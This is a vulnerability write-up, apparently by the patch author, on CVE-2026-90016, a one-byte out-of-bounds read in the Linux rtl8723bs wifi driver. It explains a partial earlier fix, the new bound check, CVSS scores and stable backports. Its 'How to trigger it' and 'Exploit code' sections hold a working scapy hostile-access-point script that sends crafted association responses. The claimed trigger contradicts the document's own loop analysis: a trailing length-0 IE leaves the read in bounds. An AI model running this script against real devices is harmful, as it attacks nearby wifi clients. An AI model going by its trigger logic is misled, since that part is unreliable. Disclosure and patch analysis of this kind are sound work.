# CVE-2026-90016: the fallthrough advance that kept reading out of bounds in rtl8723bs

**Patch:** [28a289beaf226b30b1e6e7d7b1a2946fe2d6e852](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=28a289beaf226b30b1e6e7d7b1a2946fe2d6e852) (mainline, landed in 7.3-rc2)
**Subsystem:** staging, Realtek 8723BS SDIO wifi driver
**Affected file:** drivers/staging/rtl8723bs/core/rtw_mlme.c
**CVE record:** [CVE-2026-90016](https://www.cve.org/CVERecord?id=CVE-2026-90016)
**Introduced in:** 4.12, commit 554c0a3abf216c991c5ebddcdb2c08689ecd290b

## The bug in one sentence

A loop scanning for a WMM information element guarded the match check but not the pointer advance, so scanning to the end of the buffer without finding a match read one byte past it.

## A lesson in partial fixes

This one exists because a previous fix was incomplete, and that history is the most instructive part. rtw_restruct_wmm_ie() walks a buffer of information elements looking for the WMM vendor element:

```c
while (i < in_len) {
        ...
        if (i + 5 < in_len && in_ie[i] == 0xDD && ...) {
                ...
                break;
        }
        i += (in_ie[i + 1] + 2); /* to the next IE element */
}
```

Commit a75281626fc8f, "staging: rtl8723bs: fix potential out-of-bounds read in rtw_restruct_wmm_ie", added the "i + 5 < in_len" guard to the match condition. Good. But when no match is found and i sits within five bytes of the end, the loop falls straight through to the advance, which reads in_ie[i + 1]. If i equals in_len minus one at that point, the read is one byte past the buffer.

The buffer holds IEs from association and scan data, so a frame with no WMM element near the tail of its IE blob walks right into it. One byte, attacker influenced, out of bounds. The earlier fix calmed the path everyone had looked at and left the fallthrough path alone, which is exactly the shape of thing you find when you re-audit after someone else's fix rather than assuming the file is now clean.

## The fix

Check that the length byte of the current IE is actually inside the buffer before using it to advance:

```diff
 		}
+		if (i + 1 >= in_len)
+			break;
 		i += (in_ie[i + 1] + 2); /* to the next IE element */
 	}
```

Full patch: [28a289beaf22](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=28a289beaf226b30b1e6e7d7b1a2946fe2d6e852)

## How to trigger it

The scan needs to walk to the tail of an IE blob without finding a WMM element, landing on the last byte. The fallthrough then reads in_ie[i + 1] with i equal to in_len minus one. The cleanest way to arrange that is an association response whose final information element is a zero length vendor IE:

```python
# tail of the assoc response IE blob handed to rtw_restruct_wmm_ie()
ie_tail = bytes([0xDD, 0x00])    # vendor IE, length 0
# append it as the last IE of the response; the match check at i + 5 < in_len
# fails, the loop falls through to i += (in_ie[i + 1] + 2) and reads past
```

Run it from a hostile AP (hostapd with a custom assoc response template, or scapy answering the victim's association requests on a monitor interface). The victim connects with r8723bs, the association response IEs get parsed, and pre-fix the loop reads one byte past the buffer. KASAN reports a size 1 read; post-fix the loop breaks on the new bound before touching in_ie[i + 1].

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 7.1 HIGH, vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
* SUSE: 5.5 MEDIUM
* No CWE from the CNA or NVD

One byte over read from adjacent-network-controlled data, confidentiality low, availability high. The vector is a fair summary: you cannot build much of a leak from one stale byte, but the code path is trivially reachable by a hostile AP or a crafted association response. One aggregator rates it very high priority on emerging risk, which I would take as noise rather than signal; there is no evidence of any exploitation.

## Exploit code

Be a hostile AP: answer the victim's association requests with a response whose IE blob ends in a zero length vendor element, so the scan loop lands on the final byte and the fallthrough reads past it:

```python
#!/usr/bin/env python3
# wmm_tail_oob.py: CVE-2026-90016
# sudo python3 wmm_tail_oob.py wlan0mon
from scapy.all import (RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp,
                       sniff, sendp, Raw)

IFACE, ATTACK = "wlan0mon", "00:11:22:33:44:55"
ies_tail = bytes([0xDD, 0x00])   # trailing vendor IE, length 0: no WMM found,
                                 # i reaches in_len - 1, advance reads in_ie[i+1]

def answer(pkt):
    if pkt.haslayer(Dot11AssoReq) and pkt.addr1 == ATTACK:
        resp = (RadioTap() /
                Dot11(type=0, subtype=1,
                      addr1=pkt.addr2, addr2=ATTACK, addr3=ATTACK) /
                Dot11AssoResp(cap="ESS", status=0) /
                Raw(load=ies_tail))
        sendp(resp, iface=IFACE)

print("answering association requests with truncated IE tails")
sniff(iface=IFACE, prn=answer, store=0)
```

When the victim associates, rtw_restruct_wmm_ie() walks the response IEs, the "i + 5 < in_len" match check fails on the truncated tail, control falls through to the unchecked advance, and in_ie[i + 1] is read one byte past the buffer. KASAN flags the size 1 read in rtw_restruct_wmm_ie; post-fix the loop breaks on the new bound before the advance. Public status: no KEV, no public PoC before this note. It did pick up Nessus plugin 373150 via Unity Linux advisory UTSA-2026-146688, the most third-party tooling attention any of my staging fixes received.

## Where the fix shipped

* 6.18.52: [4420cc71841b](https://git.kernel.org/stable/c/4420cc71841b50e31a7868ef7acb011c0e08d294)
* 7.2.5: [fd19b8895f8a](https://git.kernel.org/stable/c/fd19b8895f8a91087e8a62f1e27b128025dabb95)
* 7.3-rc2: [28a289beaf22](https://git.kernel.org/stable/c/28a289beaf226b30b1e6e7d7b1a2946fe2d6e852)

Debian shipped it in [DSA-6568-1](https://security-tracker.debian.org/tracker/DSA-6568-1) and [DLA-4850-1](https://security-tracker.debian.org/tracker/DLA-4850-1). Ubuntu had it work in progress across supported releases. Red Hat has no record, since the driver is not shipped there.

## References

1. [Upstream commit 28a289beaf22](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=28a289beaf226b30b1e6e7d7b1a2946fe2d6e852)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026091603-CVE-2026-90016-4738@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-90016)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-90016)
5. [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-90016)
